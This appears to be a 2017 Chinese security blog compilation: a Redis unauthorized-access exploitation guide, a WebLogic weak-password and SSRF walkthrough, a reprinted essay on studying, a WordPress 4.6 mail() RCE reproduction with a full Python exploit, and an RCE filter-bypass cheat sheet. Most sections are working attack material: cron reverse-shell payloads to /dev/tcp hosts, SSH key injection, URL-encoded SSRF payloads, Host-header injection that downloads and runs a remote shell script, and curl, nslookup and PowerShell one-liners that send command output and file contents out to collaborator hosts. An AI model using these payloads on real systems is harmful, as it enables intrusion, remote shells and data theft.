2017年6月

Redis 利用总结

介绍

redis是一个key-value型数据库,信息以键对应值的关系存储在内存中, 是一个非关系型(nosql)数据库

默认端口:6379

redis可以把数据保存在内存中,也可以保存到硬盘上。

持久化运作方案:
1.RDB--类似数据库备份文件
2.AOF--log日志文件

姿势

  • 未授权访问

发现

nmap -p6379 192.168.0.0/24 --script redis-info
nmap -p6379 192.168.0.0/16 --script redis-info

写webshell

前提:知道web路径
telnet直接连上去,
1.jpg

2.jpg

3.jpg

写计划任务反弹shll

set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

dict协议:

dict://0xAC120002:6379/flushall
dict://0xAC120002:6379/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/111.111.111.111/1234\x200>\x261\x0a\x0a\x0a"
dict://0xAC120002:6379/config:set:dir:/var/spool/cron
dict://0xAC120002:6379/config:set:dbfilename:root
dict://0xAC120002:6379/save

ps.

crontab -l 查看当前用户任务
crontab -e 编辑当前用户任务
crontab -r 删除当前用户任务

写公钥连SSH

生成密钥对,

ssh-keygen -t rsa

4.jpg

把公钥放到目标的的/root/.ssh目录下,
(如果没有.ssh目录,就ssh-keygen -f rsa 生成一下就有了)

config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbQByRQly8or9mp2wwRaD0vqp03YX6RNEAoi2EDAx2xyuMIS5wEjTsJ2dpXBCTdAJ94Cw7tRw7esuh4DDF+KMH0crD8OmAY6YVZSIxsW6MRAHtH1moc/6+qgy5o+Q9Q32LLtPz+nUn1pqJl1GpP+RumU8Z7gPLf3EFWBuTYcialfcNwPmUWDewNggdQjsBR++nkhKql/7WGEuPkocu4cO6wVtVk/Q7DkGTVJ1Su2H040sOh/VpQIDeCiGRlUBXADcDOJikSbRj9WgDasEBrcaLksGbud3QRTHP5kM/fukU1OJW2v3YNCWkBMjrdOXFP4gnGnn0Kd2A8Ul7GARH8NWV root@kali\n\n\n"
save

登陆,

ssh -i id_rsa root@172.22.0.2

5.jpg

  1. 看到过有人提到往/etc/profile.d/写启动脚本来反弹shell,测试这种方法是行不通的,因为Redis会在脚本收尾加上一些标志信息,shell脚本无法执行。

防御

  1. 配置bind选项,限定连接redis的ip(127.0.0.1)

  2. 配置requirepass选项,设置密码

  3. 不要用root启动redis

weblogic 弱口令getshell&ssrf 复现

简介

weblogic是一个java中间件。主要用于大型企业。
默认端口: 7001

姿势

  • 弱口令

  • SSRF

  • java反序列化

  • getshell

实战模拟

弱口令getshell

  • 端口扫描
    发现7001端口开放。

1.png

  • 目录扫描

2.png

发现console目录,为weblogic登陆口。
/hello/file.jsp 测试发现存在任意文件读取漏洞:
http://127.0.0.1:7001/hello/file.jsp?path=/etc/passwd

weblogic登陆失败超过一定次数后账户就会被锁定,所以不能爆破
这里可以通过任意文件读取去读weblogic的密文和密钥,来解密获得密码。

./security/SerializedSystemIni.dat
./config/config.xml

SerializedSystemIni.dat是一个二进制文件,直接读取会有干扰字符,需要用burp读取,再copy to file
3.png

在config.xml找到”<node-manager-password-encrypted>“的值就是密文。

4.png

然后用weblogic_decrypt.jar解密,得到口令 weblogic:Oracle@123
登陆进去后部署->安装->上传war 即可getshell。

5.png

SSRF攻击Redis

SSRF:

http://127.0.0.1/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

首先利用SSRR探测到172.22.0.2这台主机开了6379端口(只能用http协议)
redis反弹shell的payload:

aaa

set 0 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/172.16.44.154/21 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

test

注意到这个payload收尾都有空行,因为redis命令按换行分隔,所以没有这两行,会写不进去。
还有,最重要的一点,也是坑了我半天时间的一点,就是URL编码的时候要全编码,连字母也要编码,不然也写不进去,推荐burpsuite。我开始用ff的插件,一直写不进去。
编码后的payload:

%61%61%61%0d%0a%0d%0a%73%65%74%20%30%20%22%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%34%34%2e%31%35%34%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%72%6f%6f%74%0d%0a%73%61%76%65%0d%0a%0d%0a%74%65%73%74

6.jpg

7.jpg

《你尽力了吗》

作者:小四(中联绿盟 陈庆)

    很多人问如何入门如何入门,我却不知道要问的是入什么门。很少把某些好文章耐心
从头看完,我这次就深有体会。比如袁哥的sniffer原理,一直以为自己对sniffer原
理很清楚的,所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论,如何通
过端口读写直接获取mac地址,为什么antisniff可以获得真正的mac地址,而不受更
改mac地址技术的影响,如何在linux下获得真正的mac地址。我一直对linux下的端口
读写心存疑虑,总觉得在保护模式下的端口都做了内存映象等等。结果袁哥问了我一
句,你仔细看我写的文章没有,我楞,最近因为要印刷月刊,我整理以前的很多文档,
被迫认真过滤它们,才发现袁哥的文章让我又有新认识。再后来整理到tt的几篇缓冲
区溢出的,尤其是上面的关于Solaris可装载内核模块,那就更觉得惭愧了。以前说
书非借不能读,现在是文章留在硬盘上却不读。其实本版已经很多经典文章了,也推
荐了不少经典书籍了,有几个好好看过呢。W.Richard.Stevens的UNP我算是认真看过
加了不少旁注,APUE就没有那么认真了,而卷II的一半认真看过,写过读书笔记,卷
III就没有看一页。道格拉斯的卷I、卷III是认真看过几遍,卷II就只断续看过。而
很多技术文章,如果搞到手了就懒得再看,却不知道这浪费了多少资源,忽略了多少
资源。BBS是真正能学到东西的地方吗?rain说不是的,我说也不是的。不过这里能开
阔人的视野,能得到对大方向的指引,足够了。我一直都希望大家从这里学到的不是
技术本身,而是学习方法和一种不再狂热的淡然。很多技术,明天就会过时,如果你
掌握的是学习方法,那你还有下一个机会,如果你掌握的仅仅是这个技术本身,你就
没有机会了。其实我对系统安全是真不懂,因为我一直都喜欢看程序写程序却不喜欢
也没有能力攻击谁谁的主机/站点。我所能在这里做的是,为大家提供一个方向,一种
让你的狂热归于淡然的说教。如果你连<<Windows NT设备驱动程序编写>>、<<win9x系
统编程>>都没有看过,却要写个什么隐藏自己的木马,搞笑。如果你看都不看汇编语
言,偏要问exploit code的原理,那我无法回答也不想回答你。总有人责问,要讨个
说法纭纭,说什么提问却没有回答。不回答已经是正确的处理方式了,至少没有回你
一句,看书去,对不对,至少没有扰乱版面让你生闷气。Unix的man手册你要都看完了,
想不会Unix都不行了。微软的MSDN、Platform SDK DOC你要看完了,你想把Win编程想
象得稍微困难点都找不到理由。还是那句话,一个程序员做到W.Richard.Stevens那个
份上,做到逝世后还能叫全世界的顶级hacker们专门著文怀念,但生前却不曾著文攻
击,想想看,那是一种什么样的境界,那是一份什么样的淡然。我们可以大肆讨论技
术问题,可以就技术问题进行激烈的卓有成效的讨论,却无意进行基础知识、资源信
息的版面重复。我刚在前面贴了一堆isbase的文章,开头就是主页标识,却在后面立
刻问什么主页在哪里?前面刚刚讨论过如何修改mac地址,后面马上又来一个,前后
相差不过3篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。

    这次sztcww问的关于socket号为什么选择4而不是3,就很有专业精神,虽然我也不清
楚,但这样的问题我就乐意代他请教tt本人,至少他认真看了文章研究过代码,而不
是盲目地发问。如此讨论问题的同时,大家都可以提高。谁都乐意参与讨论这种问题。

    很多东西都是可以举一反三的。vertex的lids,被packetstorm天天追踪更新,你要是
看了THC的那三篇,觉得理解一个就理解了一堆,都是内核模块上的手脚。你不看你怎
么知道。我不想在这里陷入具体技术问题的讨论中去,你要是觉得该做点什么了,就
自己去看自己去找。没有什么人摆什么架子,也没有什么人生来就是干这个的。你自
己问自己,尽力了吗?


第三次看这篇文章
“学到的不是技术本身,而是学习方法和一种不再狂热的淡然”,
这句话,应该能给很多热爱安全的人以启发和指引
我还自诩追求的是技术本身,而不是技术能带给我什么
现在才知道,什么是天外有天
任何一个领域的尖端人物都不只是在自己所在领域造诣颇高而已,他们对事物都有着深邃的思考和独到见解

Referer:
白云黄鹤站 原文

WordPress 4.6 RCE 复现

环境

P师傅的docker
vulhub/wordpress/phpmailer-rce/

Mail()函数介绍

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
  • to: 邮件接收人

  • subject: 邮件主题

  • message: 要发的消息

  • additional_headers: 发邮件时额外的头部,如发送者from

  • additional_parameters: 传递给发送程序的额外参数,输入的发件人地址就进入这个参数
    Linux下,mail函数调用Linux的sendmail(/usr/bin/sendmail)程序发送邮件,sendmail有个-X参数,用来记录邮件的流量到log文件,通过指定这个log文件名,可以达到写文件的效果。

所以,此洞能被利用的前提是:

  1. 第五个参数可控

<?php
$to = 'abc@qq.com';
$subject = 'hello';
$message = 'world';
$message = '<?php phpinfo();?>';
$headers = 'CC: somebodyelse@example.com';
$options = 'my@qq.com -OQueueDirectory=/tmp -X/var/www/html/rce.php'; 
mail($to, $subject, $message, $headers, $options);

另外,sendmail的其他一些参数也能被利用。

  • -X file 记录log文件-->写文件

  • -C file 临时加载一个配置文件-->读文件

利用姿势

任意文件写入:

my@qq.com -OQueueDirectory=/tmp/ -X/var/www/shell.php
等同于
my@qq.com -oQ/tmp -X/var/www/shell.php

任意文件读取:

my@qq.com -C/etc/passwd -X/tmp/hack

在代码审计中,可以通过查找mail()函数,然后回溯他的第五个参数,看是否可控。

WordPress RCE

wp的rce就是这个mail()函数引起的,详细的漏洞分析可以看这里

POST /wp-login.php?action=lostpassword HTTP/1.1

Host: 127.0.0.1(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}9525}} null)

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://127.0.0.1/wp-login.php?action=lostpassword

Cookie: wordpress_test_cookie=WP+Cookie+check

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 56



wp-submit=Get+New+Password&redirect_to=&user_login=admin

在Host头里注入payload,

target(any -froot@localhost -be ${run{command}} null)

Tips:

  • 利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格

  • 把反弹shell的payload放到远程,然后curl过去,再执行

最终的payload为:
下载远程反弹脚本:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rshell${substr{10}{1}{$tod_log}}172.16.44.112${substr{0}{1}{$spool_directory}}shell.sh}} null)

执行反弹:

target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rshell}} null)

shell.sh

/bin/bash -i >& /dev/tcp/172.16.44.112/4444 0>&1

EXP

#! /usr/bin/env python
# coding: utf-8

'''
WordPress 4.6 RCE -- Reverse shell
Author: sn00py
Date: 2017/6/27
'''

import requests

print "\n[*] Execute \"nc -lvvp ip:port\" on your remote host"
url = raw_input("\n[*] Input target url: (e.g. http://victim.com)\n") + '/wp-login.php?action=lostpassword'
payload_url = raw_input("\n[*] Input payload url: (e.g. evil.com/shell.sh)\n")

def payload_generate(command):
    command = command.replace(' ', '${substr{10}{1}{$tod_log}}').replace('/', '${substr{0}{1}{$spool_directory}}')
    payload = "target(any -froot@localhost -be ${run{%s}} null)" % command
    return payload

data = {
    'wp-submit': 'Get New Password',
    'redirect_to': '',
    'user_login': 'admin'
}
# download payload
cmd = "/usr/bin/curl -o/tmp/rshell " + payload_url
payload = payload_generate(cmd)
headers = {
    'Host': payload
}
res = requests.post(url, data=data, headers=headers)
print "\n[*] status code: %d" % res.status_code
# reverse shell
cmd = "/bin/bash /tmp/rshell"
payload = payload_generate(cmd)
headers = {
    'Host': payload
}
res = requests.post(url, data=data, headers=headers)
print "\n[*] status code: %d" % res.status_code
print "\n[*] Done! good luck."

注意:

  1. 远程url不要加协议,因为有":"会出现500.

  2. post data里的user_login是一个存在的用户名,也就是说需要知道目标的一个用户名, 按实际情况修改。

Referer:
多个PHP mail函数引发的命令执行漏洞分析
WordPress Core 4.6 - Unauthenticated Remote Code Execution
WordPress 4.6无需认证远程命令执行漏洞分析

RCE bypass总结

Windows

绕过escapeshellcmd()

  • %1a (php version <= 5.2.5) 多字节字符

    dir ../ %1a| whoami
  • %0a 换行

    dir ../ %1a | whoami

数据外带(OOB)

  • HTTP

for /F %x in ('whoami') do start http://402h4pmr24p090cenlc9bmeao1uvik.burpcollaborator.net/%x
  • DNS

for /F %x in ('whoami') do nslookup %x.qkeimef2pqn9xr5stc1k9aqd046vuk.burpcollaborator.net  
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1
%i.424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net

有空格等特殊符号的话,数据可能被截断,有ps的话可以用ps来base64编码

for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://424h6por44r0b0eeple9dmgaq1wwukj.burpcollaborator.net/'+$a);

Linux

绕过黑名单

  • 字符拼接

a=l;b=s;$a$b  --> ls
a=c;b=at;c=t;d=xt;$a$b $c$d  -->  cat txt
a=c;b=at;c=t;d=xt;$a$b ${c}${d} -->  cat txt
  • 从其它文件截取

echo `expr substr $(awk NR==1 1.php) 1 1`
  • 从环境变量截取

echo ${SHELLOPTS:1:1}
  • 执行上一条命令

!!

绕过空格

cat<txt
cat<>txt
{ls,-la}
{ls,-l,-a}
cat${IFS}txt
cat$IFS$9txt
cat$IFS$2txt
cat$IFS$1txt
...

IFS是个全局变量,默认值是空白。

a=$'\x20txt';cat$a

利用Tab键

http://127.0.0.1/info.php?c=ls%09-la

补充:

>: $PS2
+: $PS4

数据外带

curl l5rzvd9oe86ejd54tlyc85mmndt3hs.burpcollaborator.net/?`uname`

ping -c 1 `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

wget `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

nc `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

telnet `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

ssh `uname`.zy1fx36gu90b5mttapk07xjad1jr7g.burpcollaborator.net

......

base64编码:

curl http://alznpv7xnaa6u6xk8rxfwszg97f03p.burpcollaborator.net/?`cat txt|base64`

curl http://alznpv7xnaa6u6xk8rxfwszg97f03p.burpcollaborator.net/?$(cat txt|base64)